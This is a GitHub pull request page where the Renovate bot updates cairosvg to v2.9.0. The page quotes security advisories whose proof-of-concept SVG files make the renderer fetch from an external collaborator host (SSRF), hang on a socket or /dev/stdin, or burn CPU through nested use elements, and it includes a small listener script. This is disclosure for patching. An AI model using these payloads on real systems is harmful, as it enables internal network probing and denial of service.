Update dependency cairosvg to v2.9.0 [SECURITY] by renovate[bot] · Pull Request #67 · nuztalgia/botstrap

renovate · 2026-04-15T10:27:52Z

This PR contains the following updates:

Package	Change	Age	Confidence
cairosvg (source)	`==2.6.0` → `==2.9.0`

CairoSVG improperly processes SVG files loaded from external resources

CVE-2023-27586 / GHSA-rwmf-w63j-p7gv

More information

Details

SSRF vulnerability

Summary

When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

Details

A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources.
It looks like this bug can affect websites and cause request forgery on the server.

PoC

Generating malicious svg file:
1.1 CairoSVG_exploit.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
    <style type="text/css">@&#8203;import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
    <style type="text/css">
         <![CDATA[
            @&#8203;import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
            rect { fill: red; stroke: blue; stroke-width: 3 }
         ]]>
    </style>
</svg>

1.2 CairoSVG_exploit_2.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <defs>
        <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
            <image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
        </pattern>
    </defs>
    <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />
</svg>

1.3 CairoSVG_exploit_3.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />
</svg>

Run some commands:
$ python3 -m cairosvg CairoSVG_exploit.svg -f png
$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png
$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png
See result requests in Burp Collaborator:

DOS vulnerability with SSTI

Summary

When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

Generating malicious svg file:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://192.168.56.1:1234/" />
</svg>

In other server run this python program:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
    while True:
        data = conn.recv(2048)
s.close()

Run commands:
$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png
(without timeout server will hang forever)

DOS vulnerability with stdin file descriptor

Summary

Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

Generating malicious svg file:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="file:///dev/stdin" />
</svg>

In other server run this python program:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
    while True:
        data = conn.recv(2048)
s.close()

Run commands:
$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png

Severity

CVSS Score: 7.8 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

CairoSVG vulnerable to Exponential DoS via recursive element amplification

CVE-2026-31899 / GHSA-f38f-5xpm-9r7c

More information

Details

Summary

Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.

Severity

High — CVSS 3.1: 7.5
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerable Code

File: cairosvg/defs.py (line ~335), function use()

The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

Impact

1,411-byte SVG payload pins CPU at 100% indefinitely
Memory stays flat at ~43MB — no OOM kill, process never terminates
Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
Amplification factor: O(10^N) rendering calls from O(N) input

Proof of Concept

Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Expected: timeout kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:

import cairosvg, signal
signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Suggested Fix

Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.

References

CWE-400

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

Kozea/CairoSVG (cairosvg)

`v2.9.0`

Compare Source

WARNING: this is a security update.

Using a lot of recursively nested use tags could lead to long rendering times with relatively small inputs.
CairoSVG now stops rendering when more than 100k use tags are rendered.

Using the --unsafe option allows to render larger documents.

Drop support of Python 3.9, add support of Python 3.14

`v2.8.2`

Compare Source

Allow both Unicode strings and bytes as input

`v2.8.1`

Compare Source

Allow both text- and bytes-based file objects as input

`v2.8.0`

Compare Source

Drop support of Python 3.7 and 3.8, add support of Python 3.12 and 3.13
Optimize math operations
Use pathlib
Close paths for ellipses and circles
Fix output ratio for SVG surfaces
Avoid endless loops when updating def attributes
Round PNG size
Don’t crash when more than 2 values are given to translate and scale functions

`v2.7.1`

Compare Source

Don’t draw clipPath when defined after reference
Handle evenodd fill rule with gradients and patterns
Fix ratio and clip for "image" tags with no size
Handle data-URLs in safe mode
Use f-strings

`v2.7.0`

Compare Source

WARNING: this is a security update.

When processing SVG files, CairoSVG could access other files online, possibly leading to very long renderings or other security problems.

This feature is now disabled by default. External resources can still be accessed using the "unsafe" or the "url_fetcher" parameter.

Configuration

📅 Schedule: (UTC)

Branch creation
- ""
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Update dependency cairosvg to v2.9.0 [SECURITY]

41a1aa8

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Update dependency cairosvg to v2.9.0 [SECURITY]#67

Update dependency cairosvg to v2.9.0 [SECURITY]#67
renovate[bot] wants to merge 1 commit intomainfrom
renovate/pypi-cairosvg-vulnerability

renovate Bot commented Apr 15, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Apr 15, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

CairoSVG improperly processes SVG files loaded from external resources

Details

SSRF vulnerability

Summary

Operating system, version and so on

Tested CairoSVG version

Details

PoC

DOS vulnerability with SSTI

Summary

Operating system, version and so on

Tested CairoSVG version

PoC

DOS vulnerability with stdin file descriptor

Summary

Operating system, version and so on

Tested CairoSVG version

PoC

Severity

References

CairoSVG vulnerable to Exponential DoS via recursive element amplification

Details

Summary

Severity

Vulnerable Code

Impact

Proof of Concept

Suggested Fix

References

Credit

Severity

References

Release Notes

v2.9.0

v2.8.2

v2.8.1

v2.8.0

v2.7.1

v2.7.0

Configuration

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate Bot commented Apr 15, 2026 •

edited

Loading

`v2.9.0`

`v2.8.2`

`v2.8.1`

`v2.8.0`

`v2.7.1`

`v2.7.0`